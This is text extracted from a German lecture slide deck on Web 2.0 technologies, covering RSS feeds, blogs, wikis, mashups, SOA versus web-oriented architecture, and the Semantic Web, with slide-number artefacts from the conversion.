Feeds wurd zunächst von Nachrichtenseiten eingsetzt
– Schlagzeilen werden aktiv an den Nutzer geleitet
– Klienten pollen dazu den Feed und reagieren auf Änderungen
– Feeds sind einfach XML Dokumente auf die per HTTP
zugegriffen wird
– Feed kann auch als REST Dienst ohne Inputs aufgefasst
werden
l
Technologie
– RSS
– Atom
– GData
Eberhart
113
Rich Site Summary (RSS)
l
Weit verbreitetes Format für Abo Dienste
Von quasi allen großen Webseiten eingesetzt
l
Technische Struktur
l
– XML Dokument beinhaltet
• Titel
• Beschreibungen
• URLs
– Client holt RSS vom Server mittels HTTP
Eberhart
114
RSS
...html
web2_0.rss
<html>
<head>
<link rel="alternate" type="application/rss+xml"
title="RSS" href="web2_0.rss" />
<?xml version="1.0" encoding="ISO-8859-1"?>
<rss version="2.0">
<channel>
<title>Moderne Webanwendungen mit Ajax und Web 2.0</title>
<link>http://web.cecs.pdx.edu/~eberhart/web2.0/</link>
<description>Moderne Webanwendungen mit Ajax und Web
2.0</description>
<language>de-de</language>
<item>
<title>Seminar am 6.11.2006 in Heidelberg</title>
<description>Eine kurze Zusammenfassung des
Artikels</description>
<link>http://www.dia-bonn.de/mwa1_2006/mwa_main.html</link>
<author>Andreas Eberhart</author>
</item>
</channel>
</rss>
Eberhart
115
RSS
1
2
3
4
Eberhart
116
Andere RSS Clients
l
RSS Feeds können von einer Vielzahl von
Clients verarbeitet werden
– Email-artig (vgl. Newsgroups)
– Aktive Popups (z.B. in Opera)
Eberhart
117
Weitere Feed Formate
l
Wozu – Was ist das Problem von RSS?
– Keine ID der Einträge
– Zu simplistisch für weitergehende Applikationen
Feature
Syndication
Queries
Updates
Concurrency
Authentication
Eberhart
GData
Y
Y
Y
Y
Y
Atom
Y
N
Y
N
N
RSS
Y
N
N
N
N
118
Überblick
l
l
l
l
l
Feeds
Blogs
Wikis
Social Networks
Eberhart
119
BLOG
l
l
BLOG entstand aus einer site die sich weblog
nannte. Daraus wurde „we blog“ und
schliesslich blog
Definition
– online Tagebuch
– public
– neueste Einträge (posts) immer oben
Eberhart
120
BLOG Software
l
Eigenschaften
–
–
–
–
–
l
Verwaltung der Einträge
Verwaltung der Benutzerkommentare
Layoutanpassung
Bereitstellung der Posts als Feed
Callback an spezielle Suchmaschinen zur
schnelleren Indizierung der Einträge
Lokale Installation
– Wordpress
l
Bei einem Dienstleister
– blogger.com
Eberhart
121
Überblick
l
l
l
l
l
Feeds
Blogs
Wikis
Social Networks
Eberhart
122
Wiki
l
Idee
– für jedermann zu editierende Website
– gemeinsamer online schmierzettel
l
Wikis eignen sich
– um Material und Ideen für ein neues Projekt zu
sammeln
– innerhalb einer (geographisch verteilten) Gruppe
Informationen auszutauschen
Eberhart
123
Wiki
l
Layout
– verwendet einfache Syntax zum Layout
• _bold_
l
Wichtige Begriffe werden gesondert
gekennzeichnet
– [Begriff]
– system stellt automatisch einen Link zum
betreffenden Eintrag her
– gibt es die Seite noch nicht, wird sofort zum
schreiben der Seite aufgefordert
– Ähnliche Begriffe / Doppeldeutigkeiten werden
per Auswahlseite disambiguiert
Eberhart
124
Wiki Dokumentsyntax
Eberhart
125
Erstellung eines Wiki Eintrags
1
2
Eberhart
126
Erstellung eines Wiki Eintrags
Lesbare URL
Jeder Nutzer
kann sofort
editiern…
… und
fehlende
Einträge
ergänzen
Eberhart
127
Email, Fileserver und Wikis
l
Email vs. Wikis
– derzeit werden Informationen meist per email
Attachments verteilt
– Vorteil: jeder nutzt email
– Nachteil: Informationen sind schwer zu finden und
zu editieren
– Vorteile von Wikis: Wissen ist durch die Links
strukturiert
l
Fieserver vs. Wikis
– Nachteil: Information meist nicht verlinkt da
Dokumente in MS Office geschieben sind
Eberhart
128
Einführung eines Wikis
l
Vorsicht bei der Einführung!
– es gehört eine gewisse Gruppendisziplin dazu das
neue Medium zu verwenden
– Wikis leben von der Aktualität und häufigen
Einträgen / Änderungen
l
Tip
– fangen Sie innerhalb einer nicht zu kleinen Gruppe
von Leuten an
– in der Übergangsphase helfen Emails die auf Wiki
Dokumente verweisen
Eberhart
129
Hosted Wiki
l
l
Wie Blogs können Wikis entweder lokal
installiert werden oder als Dienst gehostet sein
Lokale Software
– Media Wiki
– SnipSnap
– ...
l
Hosted Lösung
– http://www.jot.com/
Eberhart
130
Überblick
l
l
l
l
l
Feeds
Blogs
Wikis
Social Networks
Eberhart
131
Hosted Social Network
l
l
Es kann auch interessant für eine (lose
verbundene) Arbeitsgruppe sein, ein soziales
Netzwerk aufzubauen
Falls das Netzwerk geschlossen sein soll, also
bestehende Netze wie Xing oder LinkedIn nicht
in frage kommen:
– http://www.ning.com/
Eberhart
132
Überblick
l
l
l
l
l
Feeds
Blogs
Wikis
Social Networks
Eberhart
133
Online Applikationen
l
Das Internet wird zunehmend zur Plattform für
herkömmliche Anwendungen
–
–
–
–
Eberhart
Kalender
Tabellenkalkulation
Textverarbeitung
Desktops
134
Google Calendar
l
l
Funktioniert in Verbindung mit GMail
Stellt eine API bereit mit der der Kalender in Mashups einbezogen
werden kann
http://code.google.com/apis/gdata/calendar.html
Eberhart
135
Google Spreadsheet
l
Stellt upload für die gängigen Formate bereit
– DOC, XLS, ODF, ODS, RTF, CSV
l
Umfangreiche Kollaborations- und
Versionierungsmöglichkeiten
Eberhart
136
Online Desktops
l
Browserbasierter Desktop
– Kann durch den Benutzer selbst zusammengestellt werden
– Bausteine sind sog. „Gadgets“ (mini Webseiten)
– Es fehlt jedoch die Interaktion zwischen den Gadgets
Eberhart
137
Textverarbeitung
l
Online Textverarbeitung
– 2006 von Google gekauft
Eberhart
138
Windows Live / Office Live
l
Microsoft‘s Antwort auf die Herausforderung von
Google
– Grundlegende Neugestaltung und Erweiterung von
MSN
– Soll durch Abo und Werbeeinnahmen finanziert
werden
l
Vielzahl von Diensten
–
–
–
–
–
Eberhart
Kalender
Bildersuche
Email
Desktop mit Gadgets
Wifi Suche
139
Salesforce.com
l
Anbieter von online customer relationship
management (CRM) Lösungen
– Daten und Applikation sind gehostet
– Programmatischer Zugriff per SOAP API
– „Appmosphere“ Plugin- und Dienstleisterökosystem
l
Unterstreicht den Trend weg von lokal zu
installierender Software
Eberhart
140
und Web 2.0
Teil 5: Integration von Anwendungen mit Mashups
Andreas Eberhart
Hewlett-Packard
Überblick
l
l
l
Dienste und Datenquellen
Öffentliche Dienstverzeichnisse
Web 2.0 IDEs
Eberhart
142
Datenquellen
l
Grundlegendes Problem:
– Was habe ich davon meine Daten als Website
anzubieten?
• Ich kann mit Werbung Geld verdienen
– Was habe ich davon meine Daten als XML
anzubieten?
• Abo Dienst
• ???
l
Der Web 2.0 / Open Source / Open
Content Gedanke trägt enorm zum
Entstehen vielen Datenquellen für das
Web 2.0 bei
Eberhart
143
Google Geocode Lookup
Inputs: Addresse
Format des outputs
Dev Key
Output: Details der
Addresse als
XML / JSON
Eberhart
144
Google Suggest
l
Findet beliebte Suchbegriffe mit gegebenem
Präfix
Eberhart
145
Amazon
l
Amazon bietet eine ganze Reihe von Diensten
–
–
–
–
l
l
Warenkorb / Produktabfrage
Compute Cloud
S3 Storage
Mechanical Turk
SOAP und REST Schnittstellen
Beispiel
– Auf AWS aufbauender Dienst eines Drittanbieters:
• Schicke per Fotohandy den Barcode
• Dienst schickt Amazon Reviews zurück
Eberhart
146
Dapper
l
Online Werkzeug zum Extrahieren von
strukturierten Informationen aus HTML
– Grafische Benutzeroberfläche die es erlaubt die
relevanten Informationen in HTML zu markieren
– Ausgabe als RSS, XML, Email, etc.
dappit.com
HTML
Dapp
edit
Dapp
Eberhart
Quelle
XML
147
WebRPC – XHTML Scraper
l
Ähnlicher Ansatz wie Dapper
– HTML Seite wird mit W3C tidy in XHTML gewandelt
und ist somit ein REST / XML Dienst
– Selektion der relevanten Ergebnisse per XPath
Eberhart
148
Überblick
l
l
l
Web 2.0 IDEs
Eberhart
149
programmableweb
l
Portal für
– Web 2.0 APIs
– Mashups
l
Sozusagen das
„UDDI“ für Web 2.0
Eberhart
150
WebRPC
l
Service Registry wie programmableweb
– www.webrpc.com
l
Weitere Funktionalität
–
–
–
–
l
Testen der Dienste
Outputs mit XPath bearbeiten
Anzeige der Performance und Availability
Client-Code (.NET, Java, JavaScript) wird erzeugt und kann mit
cut & paste übernommen werden
Supported Service Types
–
–
–
–
Eberhart
SOAP
REST
JSON
HTML (via XHTML conversion)
151
WebRPC – Monitor Service Performance
Eberhart
152
WebRPC – Outputs mit XPath Filtern
Eberhart
153
Überblick
l
l
l
Web 2.0 IDEs
Eberhart
154
Web 2.0 IDEs
l
Für die Entwicklung herkömmlicher (Web) UIs
gibt es einige IDEs
– Grafisches Anordnen der Komonenten
– Hilfe bei der Erstellung der Eventverarbeitung
l
Beispiele
– Visual Studio
– SAP Netweaver
– JBuilder
l
Es gibt inzwischen bereits ähnliche Ansätze für
Mashups
Eberhart
155
Web 2.0 IDE – Yahoo Pipes
l
Idee: Inputs wie RSS feeds werden durch Pipes
geschleust
– Ergebnis ist
eigener
feed / website
– Editor für nicht
Techniker
bedienbar
Eberhart
156
Web 2.0 IDEs
l
l
Idee: Visuelles / Komponentenbasiertes Programmieren von
Mashups
Beispiel: IBM QEDWiki http://files.zend.com/qedwiki/
Eberhart
157
Web 2.0 IDE - MashupMaker
l
Eher für Entwickler
– Bietet einige Komponenten und Dienste an
– Hilft JavaScript Events und Methoden einzubinden
l
Basiert rein auf Javascript
– Mashup kann per copy & paste übernommen werden
Eberhart
158
Web 2.0 IDE - MashupMaker
Eberhart
159
Intel Mashmaker
l
Basiert auf Firefox Plugins
– User kann Daten einer Webpage per XPath
identifizieren und für Mashups verwenden
Toolbar
Mashup wir über
direkte Modifikation
der momentanen
Webseite realisiert
Eberhart
160
und Web 2.0
Teil 6: Einordnung und Ausblick
Andreas Eberhart
Hewlett-Packard
Überblick
l
l
Web 2.0 und SOA
Web 2.0 und Semantic Web
Eberhart
162
Service-Oriented Architectures
l
Service – eine
Softwarekomponente mit einer
formal beschriebenen
Schnittstelle
l
Gibt Zugang zu Anwendungslogik
bzw. -komponenten
l
Kommuniziert durch Anfragen und
Antworten (synchron und
asynchron)
J2EE
J2EE
COM
COM
HTML
HTML
Java
Java
CORBA
CORBA
Service
Service
Service
Service
Service
Service
Service
Service
Service
Service
Service
Service
Service/Messaging
Service/Messaging Backbone
Backbone
Service
Service
l
l
Typischerweise realisiert auf
verteilten Plattformen wie COM,
CORBA, J2EE oder MQSeries
Service
Service Service
Service
Service
Service
Service
Service
Service
Service
OS390
OS390 OS390
OS390
SAP
SAP
Security
Security Registry
Registry
Trans
Trans OS/390
OS/390
Monitor
Monitor
Web Services sind eine wichtige
Grundlage von SOAs
Eberhart
163
Technische Basis der SOA
Service
eine logisch abgeschlossene
Softwarekomponente, programmatisch
zugreifbar über eine offene Schnittstelle
Service
Interface
Service
Implementation
Service Oriented Architecture
Eine Applikationstopologie, die aus lose
gekoppelten Diensten und Dienstnutzern
besteht
Eberhart
Service
Consumer
(Client)
Interface
Proxy
Interface
164
Warum SOAs?
l
l
l
l
l
Alle IT Ressourcen sind
über ein gemeinsames
Backbone zugreifbar
Dadurch Integration
existierender Ressourcen
Applikationsdesign durch
Komposition
Implementierung heute
meist auf CORBA/J2EEbasis
Nächste Generation wird
auf Web Services
basieren
Eberhart
CRM
Web Portal
Microsoft
J2EE
ERP
Packaged
Apps
Procurement
Billing
Service/
Messaging
Backbone
Mainframe
Shipping
Web Service
Messaging
HR
Custom
Apps
Inventory
CORBA
165
Wo passen Web Services hin?
l
l
Web Services werden
verwendet, um
bestehende BusinessLogik auf eine andere Art
und Weise verfügbar zu
machen
Integration in
Browser
B2B Partner
B2B Partner
JMS /
SOAP
HTTP /
SOAP
HTTP /
HTML
JBoss MQ
Tomcat
Axis
Axis
RMI
– Applikationsserver
– Transaktionen
– Userverwaltung
JSP
RMI
RMI
Swing GUI
RMI
Applikationslogik
EJB / JBoss
JDBC
Daten
Eberhart
166
Standardisierung
l
l
l
l
Die Standardisierung wird von drei Organisationen
vorangetrieben.
Das World-Wide Web Consortium (W3C,
http://www.w3.org) kümmert sich um die
Kerntechnologien. Dazu gibt es vier Arbeitsgruppen.
OASIS (Organization for the Advancement of Structured
Information Systems, http://www.oasis-open.org)
kümmert sich um Prozesse und Komposition von Web
Services.
WS-I (Web Services Interoperability Organization)
fördert die Interoperabilität von Web Services durch
Definition von Profilen und Bereitstellung von
Testsuites.
Eberhart
167
WS*
l
Es gibt inzwischen eine Vielzahl von
Spezifikationen im WS Bereich (ca. 100)
– Bezeichnung WS*
– Kritik: Wer soll das verstehen / implementieren?
Eberhart
168
Web Oriented Architcture (WOA)
l
SOAs können prinzipiell mit beliebiger
Technologie erstellt werden
– man muss nicht zwingenderweise Web Services
verwenden
l
Idee
– „Back to the roots“
– Verzichte auf teilweise unausgegorene WS*
Standards
– Implementiere SOA mit
• REST
• Basic Auth.
• HTTP(S)
Eberhart
169
WS* und WOA
l
Web Services
WS*
–
–
–
–
HTTP, Messaging (JMS),...
SOAP
XACML, WS-Security, etc.
SOAP Routing,
Intermediaries, SOAP
Firewalls, etc.
– Machine zu Machine
– Klienten meist in
BPEL4WS, C# und Java
Eberhart
l
Web Oriented
Architecture (WOA)
– HTTP
– REST
– Basic Auth + SSL
–
--– Machine zu Machine und
Mensch zu Maschine
– Klienten meist in
Javascript
170
Zusammengesetzte Services
l
Problem
– Füge zwei oder mehr Basisdienste zu einem neuen /
erweiterten Angebot zusammen
l
WS*
– Integration z.B. durch Workflows
– WS-BPEL
l
WOA
– Mashups
Eberhart
171
Workflows: WS-BPEL
Programmieren im Großen:
Komponenten verwenden
Programmieren im Kleinen:
Komponenten bauen
Eberhart
172
Beispiel eines Geschäftsprozesses
Eberhart
173
WS* und WOA
l
WS*
l
– integration im Backend
– bessere Kontrolle
WOA
– integration im Browser
– einfach: im Zweifel kann
der Browser Text + Grafik
einfach anzeigen
User Interface
User Interface
Glue Code
Glue Code
Proxy
Applikation
Eberhart
Applikation
Applikation
Applikation
174
SOA und Web 2.0
l
Fazit
– von der grundlegenden Motivation sind sich insb.
Mashups und SOA sehr ähnlich
– SOA ist vor allem im Business Application Bereich in
aller Munde
– Web 2.0 schafft es allerdings massiv Web-Entwickler
an sich zu binden und ist stark im Open Source
Umfeld vertreten
– „Is the (Web 2.0) tail wagging the (SOA) dog?“
Eberhart
175
Semantic Web
l
Idee
– Momentanes Web: Web of documents
– Semantic Web: Web of Data
l
Grundlegendes Format
– gerichteter, beschrifteter Graph (Subjekt, Prädikat,
Objekt)
– Knoten sind URIs
Eberhart
176
Semantic Web
l
l
Wird derzeit durch das W3C unterstützt
Recommendations
–
–
–
–
l
RDF
RDFS
SparQL
OWL
Weitere standards in Arbeit
– Regelsprache
– Logik
– etc.
Eberhart
177
Schichten des Semantic Web
Eberhart
178
Semantic Web
l
Vorteile
– Datenintegration ist leicht (Vereinigungsmenge
zweier Graphen, Verwendung von URIs als global
eindeutige Primärschlüssel)
– Unterstützt einfache Logik (via Ontologiesprache
OWL)
l
Nachteile
– Derzeit noch wenige Datenquellen
– Woher kommen die Ontologien / das zu
verwendende Vokabular?
Eberhart
179
l
Offensichtliche Anknüpfungspunkte
– AJAX + REST + RDF
– „Web 3.0“ = Web 2.0 + Semantic Web
l
Beispiele
– Semantic Web Browser des W3C
– Semantic Wiki
Eberhart
180
Beispiel: Datenintegration
l
MIT Tabulator Projekt
– Verschiedene HTML Tabellen werden per RDF integriert
– http://www.w3.org/2005/ajar/tab
Eberhart
181
Semantic Wiki
l
Idee:
– Wiki hyperlinks werden mit Semantischen
Annotationen versehen
– Brücke zwischen Wiki und Informationssystem
l
Software
– Semantic Media Wiki
– Open Source, entwickelt am AIFB in Karlsruhe
– Plugin in das Media Wiki
Eberhart
182
Semantic Wiki
Eberhart
183
Semantic Wiki
Eberhart
184
l
Fazit
– viele Visionen die im Kontext des Semantic Web
gemacht wurden, werden nun durch Web 2.0
umgesetzt
– Semantic Web: Es fehlt die „Instant Gratification“ wie
bei der Erstellung einer Homepage
l
Es bleibt abzuwarten ob die W3C Standards
sich durchsetzen
Eberhart
185
Zusammenfassung
l
Web 2.0 is eine Sammlung verschiedenster
Trends
– Das demokratische Web of Participation
• blogs, wikis, etc.
– Neue Technologien
• AJAX, REST, etc.
l
Interessant und vor allem vielversprechend sind
– die Einfachheit der Technologien
– die flächenbrandartige Ausweitung die andere
Technologien wie SOA und Semantic Web
vermissen lassen
Eberhart
186
Zusammenfassung
l
Anwendungen für‘s eigene Unternehmen
– „Kollektive Intelligenz“:
• Wikis zum Wissensmanagement
• Kollektives Tagging wichtiger Informationen
– Lightweight integration: WOA statt SOA?
– Ajax: dynamische Applikationen im Intra- und Internet
l
Web 2.0: Tragfähige Geschäftsmodelle oder
Internetblase 2.0?
Eberhart
187
Referenzen
l
Terminologie und Definitionen
– http://en.wikipedia.org
l
SOA
– T. Erl, Service-Oriented Architecture. Concepts, Technology, and
Design, Prentice Hall International 2005
l
Semantic Web
– G. Antoniou, F. Van Harmelen: A Semantic Web Primer, B&T 2004
l
Middleware / Remote Procedure Calls
– A. Eberhart, S. Fischer: Java Tools, Wiley & Sons 2002
l
Web 2.0 Trends
– http://ajaxian.com/
l
Firmenhomepages (siehe Links in den Folien)
Eberhart
188

Moderne Webanwendungen mit Ajax und Web 2.0

Transcription

Similar documents

exponet 2002

Beautyretusche mit Photoshop

und Postdienstleistungen Be - Schule und Ausbildung